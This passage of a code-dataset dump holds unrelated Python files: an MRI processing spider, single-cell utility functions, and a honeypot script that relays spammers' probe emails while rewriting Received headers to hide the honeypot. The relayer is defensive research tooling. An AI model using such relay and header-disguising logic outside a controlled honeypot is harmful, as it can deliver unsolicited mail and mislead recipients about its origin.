pd.concat(all_data)\nprint(all_data)\nall_data.to_csv(f'all_data/{d4} all data.csv', index=False)\n","sub_path":"compile data.py","file_name":"compile data.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"31815881","text":"\"\"\"Spider to perform Diffusion Model Fitting.\n\nAuthor: Benjamin Yvernault\ncontact: b.yvernault@ucl.ac.uk\nSpider name: Diffusion_Model_Fitting\nSpider version: 1.0.0\nCreation date: 2016-05-10 13:36:26.321786\nPurpose: Perform Diffusion Model Fitting with pre-processing steps.\n\"\"\"\n\n# Python packages import\nimport os\nimport sys\nfrom dax import spiders, SessionSpider\n\n__author__ = \"Benjamin Yvernault\"\n__email__ = \"byvernault@gmail.com\"\n__purpose__ = \"Perform Diffusion Model Fitting with pre-processing steps.\"\n__spider_name__ = \"Diffusion_Model_Fitting\"\n__version__ = \"1.0.0\"\n__modifications__ = \"\"\"2016-05-10 13:36:26.321786 - Original write\"\"\"\n\nDTI_CMD = \"\"\"python {exe_path} \\\n-i {images} \\\n-a {bvals} \\\n-e {bvecs} \\\n-t {gif_t1} \\\n--t1_mask {gif_brain} \\\n-o {OUTPUT_FOLDER} \\\n--no_qsub \\\n--n_procs 1 \\\n--openmp_core {number_core} \\\n--working_dir '{working_dir}' \\\n{args}\n\"\"\"\nDEFAULT_ARGS = \"--rot 34.56 --etd 2.46 --ped -y\"\n\n\ndef parse_args():\n \"\"\"Argument parser for the spider input variables.\n\n by default (set in get_session_argparser):\n -p : proj_label\n -s : subj_label\n -e : sess_label\n -d : temp_dir\n --suffix : suffix (suffix for assessor proctype on XNAT)\n --host : host for XNAT (default: XNAT_HOST env variable)\n --user : user on XNAT (default: XNAT_USER env variable)\n your arguments:\n --dti : dti scan IDs on XNAT\n --gif : Label of GIF assessor on XNAT\n --fmagni : Field Map Magnitude image file to be associated with\n the DWIs\n --fphase : Field Map Phase image file to be associated with the\n DWIs\n --number_core : number of core used by the process\n --exe : path to the executable perform_dti_processing.py\n --dtiargs : other arguments for perform_dti_processing as a string\n (rot/etd/ped). Eg: --rot 34.56 --etd 2.46 --ped -y\n --working_dir : working directory for temp files\n :return: argument parser object created by parse_args()\n \"\"\"\n ap = spiders.get_session_argparser(\"Diffusion_Model_Fitting\", __purpose__)\n ap.add_argument(\"--dti\", dest=\"dtis\", required=True, metavar='sep \",\"',\n help=\"ID(s) on XNAT for dti scan.\")\n ap.add_argument(\"--gif\", dest=\"gif\", required=True,\n help=\"Label of GIF assessor on XNAT.\")\n ap.add_argument(\"--fmagni\", dest=\"fmagni\", Default=None,\n help=\"Field Map Magnitude image file to be associated with\\\n the DWIs.\")\n ap.add_argument(\"--fphase\", dest=\"fphase\", Default=None,\n help=\"Field Map Phase image file to be associated with the\\\n DWIs\")\n ap.add_argument(\"--exe\", dest=\"dti_exe\", required=True,\n help=\"Path to perform_dti_processing.py.\")\n ap.add_argument(\"--exeargs\", dest=\"dti_args\", help=\"other arguments for \\\nperform_dti_processing as a string (rot/etd/ped). \\\nDefault: --rot 34.56 --etd 2.46 --ped -y\",\n default=\"--rot 34.56 --etd 2.46 --ped -y\")\n ap.add_argument(\"--openmp_core\", dest=\"openmp_core\",\n help=\"Number of core used.\", default=1)\n ap.add_argument(\"--working_dir\", dest=\"working_dir\", default=\"\",\n help=\"working directory for temp files. Default: output\")\n return ap.parse_args()\n\n\nclass Spider_Diffusion_Model_Fitting(SessionSpider):\n \"\"\"Spider to perform Diffusion Model Fitting with pre-processing steps.\n\n :param spider_path: spider file path\n :param jobdir: directory for temporary files\n :param number_core: number of core used by reg_aladin\n :param xnat_project: project ID on XNAT\n :param xnat_subject: subject label on XNAT\n :param xnat_session: experiment label on XNAT\n :param xnat_host: host for XNAT if not set in environment variables\n :param xnat_user: user for XNAT if not set in environment variables\n :param xnat_pass: password for XNAT if not set in environment variables\n :param suffix: suffix to the assessor creation\n \"\"\"\n\n def __init__(self, spider_path, jobdir,\n dti_exe, dtiargs, dti, gif, fmagni, fphase,\n xnat_project, xnat_subject, xnat_session,\n xnat_host=None, xnat_user=None, xnat_pass=None,\n number_core=1, suffix=\"\"):\n \"\"\"Entry point for Spider_Diffusion_Model_Fitting Class.\"\"\"\n super(Spider_Diffusion_Model_Fitting, self).__init__(spider_path,\n jobdir,\n xnat_project,\n xnat_subject,\n xnat_session,\n xnat_host,\n xnat_user,\n xnat_pass,\n suffix)\n self.inputs = {'dti': list(),\n 't1': '',\n 'gif': ''}\n self.dti_exe = dti_exe\n self.dtiargs = dtiargs\n self.dti = dti\n self.gif = gif\n self.fmagni = fmagni\n self.fphase = fphase\n self.number_core = number_core\n self.check_executable('reg_aladin', 'reg_aladin')\n self.pdf_final = os.path.join(self.jobdir,\n 'Diffusion_Model_Fitting.pdf')\n\n def pre_run(self, argument_parse):\n \"\"\"Method to download data from XNAT.\n\n :param argument_parse: argument parser object return by parse_args()\n \"\"\"\n folder = os.path.join(self.jobdir, 'inputs')\n os.makedirs(folder)\n # dti(s) with bval and bvec\n for scan_id in self.dti.split(','):\n dti_dir = os.path.join(folder, scan_id)\n os.makedirs(dti_dir)\n image = self.download(scan_id, 'NIFTI', dti_dir)\n if not image:\n raise Exception(\"No NIFTI downloaded from XNAT for %s.\" %\n (scan_id))\n bval = self.download(scan_id, 'BVAL', dti_dir)\n if not bval:\n raise Exception(\"No BVAL downloaded from XNAT for %s.\" %\n (scan_id))\n bvec = self.download(scan_id, 'BVEC', dti_dir)\n if not bvec:\n raise Exception(\"No BVEC downloaded from XNAT for %s.\" %\n (scan_id))\n self.inputs['dti'].append({'image': image,\n 'bval': bval,\n 'bvec': bvec})\n # T1 scan\n self.inputs['t1'] = self.download(self.gif.split('-x-')[-2],\n 'NIFTI', folder)\n if not self.inputs['t1']:\n raise Exception(\"No NIFTI downloaded from XNAT for %s.\" %\n (scan_id))\n # GIF results:\n gif = '-x-'.join([self.xnat_project,\n self.xnat_subject,\n self.xnat_session,\n self.t1,\n 'GIF_Parcellation_v1'])\n self.inputs['gif'] = self.download(gif, 'BRAIN', folder)\n if not self.inputs['gif']:\n raise Exception(\"No BRAIN resource downloaded from XNAT for GIF.\")\n\n def run(self, exe_path, working_dir):\n \"\"\"Method running the process for the spider on the inputs data.\"\"\"\n if len(working_dir) > 0 and not os.path.exists(working_dir):\n os.makedirs(working_dir)\n\n if not exe_path.endswith('perform_gif_propagation.py'):\n exe_path = os.path.join(exe_path, \"perform_gif_propagation.py\")\n\n if not os.path.exists(exe_path):\n raise Exception(\"Python script: %s not found\" % (exe_path))\n else:\n if not os.path.exists(os.path.join(self.jobdir, 'outputs')):\n os.makedirs(os.path.join(self.jobdir, 'outputs'))\n dtis = ' '.join([d('image') for d in self.inputs['dti']])\n bvals = ' '.join([d('bval') for d in self.inputs['dti']])\n bvecs = ' '.join([d('bvec') for d in self.inputs['dti']])\n cmd = DTI_CMD.format(exe_path=exe_path,\n images=dtis,\n bvals=bvals,\n bvecs=bvecs,\n gif_t1=self.inputs['t1'],\n gif_brain=self.inputs['gif'],\n output=os.path.join(self.jobdir, 'outputs'),\n number_core=self.number_core,\n working_dir=working_dir,\n args=self.dtiargs)\n if self.fmagni:\n cmd = \"%s -m %s\" % (cmd, self.fmagni)\n if self.fphase:\n cmd = \"%s -p %s\" % (cmd, self.fphase)\n self.run_system_cmd(cmd)\n # self.make_pdf()\n\n def finish(self):\n \"\"\"Method to copy the results in the dax.RESULTS_DIR folder.\"\"\"\n self.time_writer('Results saved in dax.RESULTS_DIR')\n results_dict = {'PDF': ''}\n self.upload_dict(results_dict)\n self.end()\n\nif __name__ == '__main__':\n args = parse_args()\n # generate spider object:\n spider_obj = Spider_Diffusion_Model_Fitting(spider_path=sys.argv[0],\n jobdir=args.temp_dir,\n dti_exe=args.dti_exe,\n dtiargs=args.dtiargs,\n dti=args.dti,\n gif=args.gif,\n fmagni=args.fmagni,\n fphase=args.fphase,\n xnat_project=args.proj_label,\n xnat_subject=args.subj_label,\n xnat_session=args.sess_label,\n xnat_scan=args.scan_label,\n xnat_host=args.host,\n xnat_user=args.user,\n xnat_pass=None,\n suffix=args.suffix)\n # print some information before starting\n spider_obj.print_init(args, \"Benjamin Yvernault\", \"byvernault@gmail.com\")\n\n # Pre-run method to download data from XNAT\n spider_obj.pre_run(args)\n\n # Run method\n spider_obj.run(args.exe_path, args.working_dir)\n\n # Finish method to copy results\n if not args.skipfinish:\n spider_obj.finish()\n","sub_path":"ucl_spiders/Spider_Diffusion_Model_Fitting_v1_0_0.py","file_name":"Spider_Diffusion_Model_Fitting_v1_0_0.py","file_ext":"py","file_size_in_byte":10935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"120736255","text":"import numpy as np\nimport scanpy as sc\nfrom scipy import sparse\n\n\ndef label_encoder(adata, le=None, condition_key='condition'):\n \"\"\"\n Encode labels of Annotated `adata` matrix.\n\n Parameters\n ----------\n adata: :class:`~anndata.AnnData`\n Annotated data matrix.\n le: dict or None\n dictionary of encoded labels. if `None`, will create one.\n condition_key: str\n column name of conditions in `adata.obs` data frame.\n\n Returns\n -------\n labels: :class:`~numpy.ndarray`\n Array of encoded labels\n le: dict\n dictionary with labels and encoded labels as key, value pairs.\n \"\"\"\n labels = np.zeros(adata.shape[0])\n unique_labels = sorted(adata.obs[condition_key].unique().tolist())\n if isinstance(le, dict):\n if not set(unique_labels).issubset(set(le.keys())):\n print(\"WARNING: unique_labels is not subset of the given encoder\")\n else:\n le = dict()\n for idx, label in enumerate(unique_labels):\n le[label] = idx\n\n for label, encoded in le.items():\n labels[adata.obs[condition_key] == label] = encoded\n\n return labels.reshape(-1, 1), le\n\n\ndef remove_sparsity(adata):\n \"\"\"\n If ``adata.X`` is a sparse matrix, this will convert it in to normal matrix.\n\n Parameters\n ----------\n adata: :class:`~anndata.AnnData`\n Annotated data matrix.\n\n Returns\n -------\n adata: :class:`~anndata.AnnData`\n Annotated dataset.\n \"\"\"\n if sparse.issparse(adata.X):\n new_adata = sc.AnnData(X=adata.X.A, obs=adata.obs.copy(deep=True), var=adata.var.copy(deep=True))\n return new_adata\n\n return adata\n\n\ndef train_test_split(adata, train_frac=0.85):\n \"\"\"\n Split ``adata`` into train and test annotated datasets.\n\n Parameters\n ----------\n adata: :class:`~anndata.AnnData`\n Annotated data matrix.\n train_frac: float\n Fraction of observations (cells) to be used in training dataset. Has to be a value between 0 and 1.\n\n Returns\n -------\n train_adata: :class:`~anndata.AnnData`\n Training annotated dataset.\n valid_adata: :class:`~anndata.AnnData`\n Test annotated dataset.\n \"\"\"\n train_size = int(adata.shape[0] * train_frac)\n indices = np.arange(adata.shape[0])\n np.random.shuffle(indices)\n train_idx = indices[:train_size]\n test_idx = indices[train_size:]\n\n train_data = adata[train_idx, :]\n valid_data = adata[test_idx, :]\n\n return train_data, valid_data\n\n\ndef create_condition_encoder(conditions, target_conditions):\n \"\"\"\n Creates a ``condition_encoder`` dictionary for the given ``conditions`` excluding ``target_conditions``.\n\n Parameters\n ----------\n conditions: list\n list of all unqiue conditions.\n target_conditions: list, None\n list of unique condition to be excluded from ``conditions``.\n\n Returns\n -------\n condition_encoder: dict\n A dictionary with conditions and encoded labels for them as its keys and values respectively.\n \"\"\"\n if not isinstance(target_conditions, list):\n target_conditions = [target_conditions]\n\n if target_conditions is None:\n target_conditions = []\n\n dictionary = {}\n conditions = [e for e in conditions if e not in target_conditions]\n for idx, condition in enumerate(conditions):\n dictionary[condition] = idx\n return dictionary\n","sub_path":"scarches/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"418189753","text":"#!/usr/bin/python3\n\nimport sys\nimport mailbox\nfrom email.header import decode_header\nfrom email.utils import parseaddr\nimport email.utils\n# TODO: P2 Tidy up unused code such as below\n#from configparser import ConfigParser\nfrom datetime import date\nfrom datetime import datetime\nimport json\nfrom urllib.request import urlopen\nimport os\n# TODO: P2 ensure that dnspython is installed - sudo apt-get install python3-pip && sudo pip3 install dnspython3\nimport dns.resolver\nimport socket\nimport argparse\nimport copy\nimport smtplib\nimport time\n\n\n# TODO: P2 - \"python-ify the various class and function names\n# TODO: P2 - \"python-ify and create relevant documentation\n\nclass GlobalConfig:\n\t\"\"\"This class stores the global configurations you may want to adapt for your installation.\"\"\"\n\t\n\tFAKE_HOSTNAME = 'mail.localhost'\n\t# If run in batch mode, will run every X seconds\n\tBATCH_RUN_INTERVAL = 300\n\t\n\t# A relative MAILBOX_PATH path will be interpreted starting from the user's home folder \n\tMAILBOX_PATH = \"smtp/smtp/\"\n\tMAILBOX_INBOX_NAME = 'inbox'\n\tMAILBOX_LOGS_NAME = 'logs'\n\tMAILBOX_SENTPROBE_NAME = 'sentProbes'\n\t\n\t# The script forwards max MAX_RELAY_PER_DAY messages per day to avoid being used as spam relay\n\tMAX_RELAY_PER_DAY = 10\n\t# To avoid mbox corruption and not put load on the machine, we don't parse the mbox if it contains \n\t# more than MAX_INBOX_SIZE messages\n\tMAX_INBOX_SIZE = 20\n\t\n\t# Relays the message if the following string is found in the subject of an email\n\t# To facilitate your tests, consider using swaks:\n\t# $ swaks --to proberecipient@malicious.com --server smtp.example.org --from victim@example.com --header \"Subject: TEST-EMAIL_bd5328c8\"\n\tTEST_PROBE_RELAY_SUBJECT = 'TEST-EMAIL_bd5328c8'\n\tTEST_PROBE_RELAY_SMTPFROM = 'sender@example.org'\n\tTEST_PROBE_RELAY_SMTPTO = 'recipient@example.org'\n\tTEST_PROBE_RELAY_SERVER = [('smtp.example.org', 25)]\n\t# Set this variable to True if your TEST_PROBE_RELAY_SERVER server supports explicit TLS on tcp/465 or tcp/587\n\tTEST_PROBE_RELAY_SERVER_EXPLICIT_TLS = False\n\n\nclass Helpers:\n\tdef get_path(mailbox_name):\n\t\tif '/' in GlobalConfig.MAILBOX_PATH[0]:\n\t\t\treturn os.path.join(GlobalConfig.MAILBOX_PATH, mailbox_name)\n\t\telse:\n\t\t\treturn os.path.join(os.path.expanduser(\"~\"), GlobalConfig.MAILBOX_PATH, mailbox_name)\n\t\t\t\n\tdef get_mailbox(mailbox_name):\n\t\treturn mailbox.mbox(Helpers.get_path(mailbox_name))\n\n\tdef choice(options, prompt):\n\t\twhile True:\n\t\t\toutput = input(prompt)\n\t\t\tif output in options:\n\t\t\t\treturn output\n\t\t\telse:\n\t\t\t\tprint(\"Bad option. Options: \" + \", \".join(options))\n\t\n\tdef trim_str(s, l, ellipsis = True):\n\t\tif s is None:\n\t\t\treturn \"\"\n\t\tif ellipsis:\n\t\t\treturn (s[:l-2] + '..') if len(s) > l else s\n\t\telse:\n\t\t\treturn (s[:l]) if len(s) > l else s\n\t\n\tdef get_json_from_url(url):\n\t\tj = json.loads(urlopen(url).read().decode())\n\t\treturn j\n\t\t\n\tdef getOpenTcpPorts(hostname, arrPorts):\n\t\tresult = []\n\t\tfor p in arrPorts:\n\t\t\ttry:\n\t\t\t\t# Timeout set to 3 seconds\n\t\t\t\tsocket.create_connection((hostname, p), 3)\n\t\t\t\tresult.append(True)\n\t\t\texcept:\n\t\t\t\tresult.append(False)\n\t\t\t\t\n\t\treturn result\n\t\t\n\tdef resetFlags(mbox):\n\t\tmbox.lock()\n\t\tfor key, msg in mbox.iteritems():\n\t\t\tm = mbox[key]\n\t\t\tm.remove_flag(\"ROA\")\n\t\t\tmbox[key] = m\n\t\t\n\t\tmbox.unlock()\n\t\tmbox.flush()\n\n\nclass ParseOpenRelayInbox:\n\tdef __init__(self, startup_args):\n\t\tself.configObj = ConfigInEmail()\n\t\tself.config = self.configObj.read()\n\t\tself.startup_args = startup_args\n\t\t\n\tdef listMsgs(self):\n\t\t# TODO: P2 refactor with getter\n\t\tif self.inbox == None:\n\t\t\tself.inbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_INBOX_NAME)\n\t\t\n\t\treturn self.inbox\n\t\t\t\n\t\n\tdef Run(self):\n\t\t# check that the preconditions to parse the inbox are fullfilled, => verify if we reached various thresholds\n\t\tif self.config[\"global\"][\"ParseInbox\"]:\n\t\t\tself.ParseInbox()\n\t\n\t\n\tdef ParseInbox(self):\n\t\t# Check if we reached mbox limits, otherwise parse msg and pass emails with no flags to FilterMessage\n\t\tif self.config[\"global\"][\"todayRelayCount\"] > self.config[\"global\"][\"maxRelayPerDay\"]:\n\t\t\tself.config[\"global\"][\"ParseInbox\"] = False\n\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + \": todayRelayCount limit reached, disabling parsing the inbox for today\")\n\t\t\tself.configObj.write(self.config)\n\t\t\treturn\n\t\t\n\t\t# Check limit on mailbox size\n\t\tself.inbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_INBOX_NAME)\n\t\tif len(self.inbox) > self.config[\"global\"][\"maxInboxSize\"]:\n\t\t\tself.config[\"global\"][\"ParseInbox\"] = False\n\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + \": maxInboxSize limit reached, disabling parsing the inbox for today\")\n\t\t\tself.configObj.write(self.config)\n\t\t\treturn\n\t\t\n\t\tmsgToRelay = []\n\t\tself.inbox.lock()\n\t\t\n\t\t# We only rely on the key, not on msg, as alteration to msg aren't recorded in the mailbox...\n\t\tfor key, msg in self.inbox.iteritems():\n\t\t\tm = self.inbox[key]\n\t\t\t# If the message is new and hasn't been read\n\t\t\tif 'R' not in m.get_flags():\n\t\t\t\tm.add_flag(\"R\")\n\t\t\t\tif self.FilterMessage(m):\n\t\t\t\t\tm.add_flag(\"A\")\n\t\t\t\t\tmsgToRelay.append(key)\n\t\t\t\t\t# The presence of Subject was verified earlier in FilterMessage\n\t\t\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + (\": got 1 new message, which would get relayed: %s\" % m[\"Subject\"]))\n\t\t\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + (\": flag for msg %s: %s\" % (m[\"Subject\"], m.get_flags())))\n\t\t\t\telse:\n\t\t\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + \": got 1 new message, which would NOT get relayed\")\n\t\t\t\t\n\t\t\t\t# Required so that the flag is saved\n\t\t\t\tself.inbox[key] = m\n\t\t\t\t#self.config[\"logs\"].append(datetime.now().isoformat() + (\": VERIFICATION - flag for msg %s: %s\" % (m[\"Subject\"], self.inbox[key].get_flags())))\n\t\t\n\t\tself.inbox.unlock()\n\t\tself.inbox.flush()\n\t\t\n\t\t# TODO: P2 - add if the numbers of msgToRelay is above the daily limit and log the occurence\n\t\tif len(msgToRelay) > 0:\n\t\t\tself.config[\"logs\"].append(datetime.now().isoformat() + \": verification results of the \" + str(len(msgToRelay)) + \" new message(s) which would get relayed:\")\n\t\t\t# Iteration through a list of message keys\n\t\t\tfor k in msgToRelay:\n\t\t\t\trm = RelayMessage(self.inbox, k)\n\t\t\t\trm.Verify()\n\t\t\t\tself.config[\"logs\"].append(\"Would message be relayed? \" + str(rm.canRelay) + \" - Details:\")\n\t\t\t\t\n\t\t\t\t# No interactive mode, testMode enabled if passed so via command line\n\t\t\t\trm.relay(False, self.startup_args.testMode)\n\t\t\t\t\n\t\t\t\t# Save the logs for this RelayMessage instance\n\t\t\t\tself.config[\"global\"][\"todayRelayCount\"] += 1\n\t\t\t\tself.config[\"logs\"] = self.config[\"logs\"] + rm.logs\n\t\t\t\t\t\t\t\t\t\n\t\tself.configObj.write(self.config)\n\t\tself.inbox.close()\n\t\n\t\n\tdef FilterMessage(self, msg):\t\n\t\tif \"Subject\" in msg.keys():\n\t\t\t# We keep this check active so you can \"debug\" your prod daemon in case of doubt\n\t\t\tif GlobalConfig.TEST_PROBE_RELAY_SUBJECT in msg[\"Subject\"]:\n\t\t\t\treturn True\n\t\t\t\n\t\t\tif self.config['global']['ip'] in msg[\"Subject\"]:\n\t\t\t\treturn True\n\t\t\t\t\n\t\t\t# Add you other conditions to relay a message here...\n\t\t\t\n\t\treturn False\n\n\nclass RelayMessage:\n\tdef __init__(self, inbox, msgKey):\n\t\tself.inbox = inbox\n\t\tself.msg = inbox[msgKey]\n\t\tself.msgKey = msgKey\n\t\tself.canRelay = True\n\t\tself.logs = []\n\t\tself.rcpt = None\n\t\tself.smtpFrom = None\n\t\tself.secureConnSupport = False\n\t\tself.secureConnList = []\n\t\tself.rcptBestMx = []\n\t\tself.verifyDone = False\n\t\tself.sent_probes_mbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_SENTPROBE_NAME)\n\t\t\n\t\n\t# TODO: P2 investigate why this step can take soooo long (portscan?)\n\tdef Verify(self):\n\t\tif self.msg[\"Envelope-To\"] is None:\n\t\t\tself.logs.append(\"No Envelope-To address\")\n\t\t\tself.canRelay = False\n\t\telse:\n\t\t\tself.rcpt = self.msg[\"Envelope-To\"]\n\t\t\tself.logs.append(\"Email would be relayed to \" + self.rcpt)\n\t\t\t\n\t\tif self.msg[\"Return-Path\"] is None:\n\t\t\tself.logs.append(\"No Return-Path address\")\n\t\t\tself.canRelay = False\n\t\telse:\n\t\t\tself.smtpFrom = self.msg[\"Return-Path\"]\n\t\t\tself.logs.append(\"Email would be relayed with SMTP envelope sender \" + self.smtpFrom)\n\t\t\t\n\t\t# Get rcpt domain details\n\t\tif self.rcpt is not None:\n\t\t\tself.rcptDomain = self.rcpt.split(\"@\")[1]\n\t\t\tself.rcptMxAnswers = dns.resolver.query(self.rcptDomain, 'MX')\n\t\t\tself.logs.append(\"Domain \" + self.rcptDomain + \" has \" + str(len(self.rcptMxAnswers)) +\" MX servers: \" + (\"; \".join(map(str,self.rcptMxAnswers))))\n\t\t\tif len(self.rcptMxAnswers) == 0:\n\t\t\t\tself.logs.append(\"No MX server for domain \" + self.rcptDomain)\n\t\t\t\tself.canRelay = False\n\t\t\n\t\t\n\t\trefPorts = [587, 465]\n\t\thostToPort = {}\n\t\tfor mx in self.rcptMxAnswers:\n\t\t\thostname = mx.exchange.to_text()[:-1]\n\t\t\thostToPort[hostname] = Helpers.getOpenTcpPorts(hostname, refPorts)\n\t\t\tself.logs.append(\"Support for secure ports on \" + hostname + \": \" + str(hostToPort[hostname]))\n\t\t\t# Gets the index(es) if there's a secure port to be used\n\t\t\tfor index in [i for i, e in enumerate(hostToPort[hostname]) if e == True]:\n\t\t\t\tself.secureConnSupport = True\n\t\t\t\tself.rcptBestMx.append( (hostname, refPorts[index]) )\n\t\t\n\t\t# If no secure port is open, we get the best 3 email servers\n\t\t# TODO: P2 have a IPv6 preference for sending emails / selecting exchange servers\n\t\t# print(dns.resolver.query('gmail.com', 'MX').response)\n\t\t# Explore r.response.additional\n\t\tif self.secureConnSupport is False:\n\t\t\tself.rcptMxAnswers.rrset.items.sort(key=lambda x: x.preference)\n\t\t\tfor mx in self.rcptMxAnswers.rrset.items[:3]:\n\t\t\t\tself.rcptBestMx.append( (mx.exchange.to_text()[:-1], 25) )\n\t\t\n\t\tself.logs.append(\"Has support for Secure connexion: \" + str(self.secureConnSupport))\n\t\tfor i in self.rcptBestMx:\n\t\t\tself.logs.append(\"Possible connexions: %s:%i\" % i)\n\t\t\t\n\t\tself.verifyDone = True\n\t\n\t\n\tdef relay(self, interactive=True, testMode=True):\n\t\t# We assume that all verifications were \n\t\tif self.verifyDone is False:\n\t\t\tprint(\"Message was not verified first. Perform this action before trying to relay it\")\n\t\t\treturn\n\t\t\n\t\tif self.canRelay is False:\n\t\t\tprint(\"Message cannot be relayed - canRelay = False. See logs for further details\")\n\t\t\treturn\n\t\n\t\tpm = ProbeMessage(self.msg)\n\t\tpm.create_relayed_message()\n\t\tnew_msg = pm.get_relayed_message()\n\t\t\n\t\tif testMode:\n\t\t\tself.smtpFrom = GlobalConfig.TEST_PROBE_RELAY_SMTPFROM\n\t\t\tself.rcpt = GlobalConfig.TEST_PROBE_RELAY_SMTPTO\n\t\t\tself.rcptBestMx = GlobalConfig.TEST_PROBE_RELAY_SERVERS\n\t\t\tself.secureConnSupport = GlobalConfig.TEST_PROBE_RELAY_SERVERS_EXPLICIT_TLS\n\t\t\n\t\tif interactive:\n\t\t\tprint(\"\\n\\n\" + new_msg.as_string() + \"\\n\")\n\t\t\tprint(\"This message will be sent with SMTP envelop From: %s -> To: %s\" % (self.smtpFrom, self.rcpt))\n\t\t\topt = Helpers.choice(['Y', 'N'], \"Do you want to send this message (Yes, No)? \")\n\t\t\tif opt == 'N':\n\t\t\t\treturn\n\t\t\n\t\t# Sending the message\n\t\t# TODO: P2 enhance error handling and rotate across servers\n\t\tself.logs.append(\"Trying to send message '%s' from %s to %s using server %s...\" % (new_msg[\"Subject\"], self.smtpFrom, self.rcpt, self.rcptBestMx[0]))\n\t\tif self.secureConnSupport:\n\t\t\t# TODO: P2 This doesn't work as expected... FIXME\n\t\t\tserver = smtplib.SMTP_SSL(self.rcptBestMx[0][0], self.rcptBestMx[0][1], GlobalConfig.FAKE_HOSTNAME, None, None, 30)\n\t\telse:\n\t\t\tserver = smtplib.SMTP(self.rcptBestMx[0][0], self.rcptBestMx[0][1], GlobalConfig.FAKE_HOSTNAME, 30)\n\t\t\n\t\tserver.set_debuglevel(1)\n\t\tsmtplib_sendmail_res = None\n\t\tsmtplib_sendmail_quit = None\n\t\tsmtplib_sendmail_exception = None\n\t\ttry:\n\t\t\t# If we're connecting over plain SMTP, we need to\n\t\t\t# 1. send a ehlo\n\t\t\t# 2. check the server capabilities for STARTTLS\n\t\t\t# 3. if available enable STARTTLS and reissue ehlo\n\t\t\tif self.secureConnSupport is False:\n\t\t\t\tserver.ehlo(GlobalConfig.FAKE_HOSTNAME)\n\t\t\t\tif 'starttls' in server.esmtp_features:\n\t\t\t\t\tserver.starttls()\n\t\t\t\n\t\t\tserver.ehlo(GlobalConfig.FAKE_HOSTNAME)\n\t\t\tsmtplib_sendmail_res = server.sendmail(self.smtpFrom, self.rcpt, new_msg.as_string())\n\t\t\tsmtplib_sendmail_quit = server.quit()\n\t\texcept Exception as inst:\n\t\t\tprint(type(inst)) # the exception instance\n\t\t\tprint(inst.args) # arguments stored in .args\n\t\t\tsmtplib_sendmail_exception = inst\n\t\t\t#print(inst) # __str__ allows args to be printed directly\n\t\t\tself.logs.append(\"Error while trying to send message: %s\" % inst)\n\t\t\tprint(\"Error while trying to send message: %s\" % inst)\n\t\t\n\t\t\n\t\tself.logs.append(\"smtplib terminated with sendmail status '%s' and quit '%s'\" % (smtplib_sendmail_res, smtplib_sendmail_quit))\n\t\tprint(\"smtplib terminated with sendmail status '%s' and quit '%s'\" % (smtplib_sendmail_res, smtplib_sendmail_quit))\n\t\t\n\t\t# Store in the sent probes folder\n\t\tself.sent_probes_mbox.lock()\n\t\t# Adds the result of the sending probe in a header before storing it\n\t\tnew_msg.add_header(\"X-Relay-Sendmail-Date\", datetime.now().isoformat())\n\t\tnew_msg.add_header(\"X-Relay-Sendmail-Sent\", str(smtplib_sendmail_res))\n\t\tnew_msg.add_header(\"X-Relay-Sendmail-Quit\", str(smtplib_sendmail_quit))\n\t\tnew_msg.add_header(\"X-Relay-Sendmail-Exception\", str(smtplib_sendmail_exception))\n\t\t# Add a flag on the original message in the inbox that the message has been read and answered (RA)\n\t\tmsg_in_inbox = self.msg\n\t\tmsg_in_inbox.add_flag(\"RA\")\n\t\tself.inbox[self.msgKey] = msg_in_inbox\n\t\tself.sent_probes_mbox.add(new_msg)\n\t\tself.sent_probes_mbox.unlock()\n\t\tself.sent_probes_mbox.flush()\n\t\t\n\n\nclass ProbeMessage:\n\tdef __init__(self, msg):\n\t\tself.original_msg = msg\n\t\tself.relayed_msg = None\n\t\n\tdef create_relayed_message(self):\n\t\tmsg = copy.copy(self.original_msg)\n\t\t# We first delete all headers we added ourselves\n\t\t# TODO: P2 - remove X-Relay-Sendmail-* headers if found, in case someone copies an email from sentProbes to inbox again\n\t\theaders_to_delete = ['X-UID', 'Status', 'X-Keywords', 'X-Status', 'Envelope-To', 'Return-Path', 'X-INetSim-Id']\n\t\tfor h in headers_to_delete:\n\t\t\tdel(msg[h])\n\t\t\t\n\t\t# By default, the received header containing details about our honeypot will be stored in msg[\"Received\"], regardless of many hopes it had before\n\t\tmsg.replace_header('Received', msg['Received'].replace('victim', 'sender').replace('cheater (INetSim)', GlobalConfig.FAKE_HOSTNAME))\n\t\t\n\t\t# TODO: P3 add hop in received??\n\t\tself.relayed_msg = msg\n\t\n\tdef get_relayed_message(self):\n\t\t# TODO: P2 error handling\n\t\treturn self.relayed_msg\n\n\n\nclass ConfigInEmail:\n\tdef __init__(self):\n\t\tself.todayDate = date.today().isoformat()\n\t\tself.mbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_LOGS_NAME)\n\t\t#self.mbox.lock()\n\t\tif len(self.mbox) == 0 or self.mbox[len(self.mbox)-1][\"Subject\"] != \"Logs from \" + self.todayDate:\n\t\t\tself.msg = self.create_new_config()\n\t\telse:\n\t\t\tself.msgKey = len(self.mbox)-1\n\t\t\tself.msg = self.mbox[self.msgKey]\n\t\n\tdef __del__(self):\n\t\t#self.mbox.unlock()\n\t\tself.mbox.flush()\n\t\tself.mbox.close()\n\t\t\n\tdef create_new_mail(self):\n\t\tmsg = mailbox.mboxMessage()\n\t\taddress = email.utils.formataddr(('InetSim Relayer', 'tests@example.com'))\n\t\t# See https://pymotw.com/3/mailbox/\n\t\t#msg.set_unixfrom(\"InetSimRelayer \" + datetime.now().strftime(\"%a %b %d %H:%M:%S %Y\")) \n\t\tmsg[\"Date\"] = email.utils.formatdate()\n\t\tmsg[\"Message-ID\"] = email.utils.make_msgid(\"logs-\" + self.todayDate)\n\t\tmsg[\"From\"] = address\n\t\tmsg[\"To\"] = address\n\t\tmsg[\"Subject\"] = \"Logs from 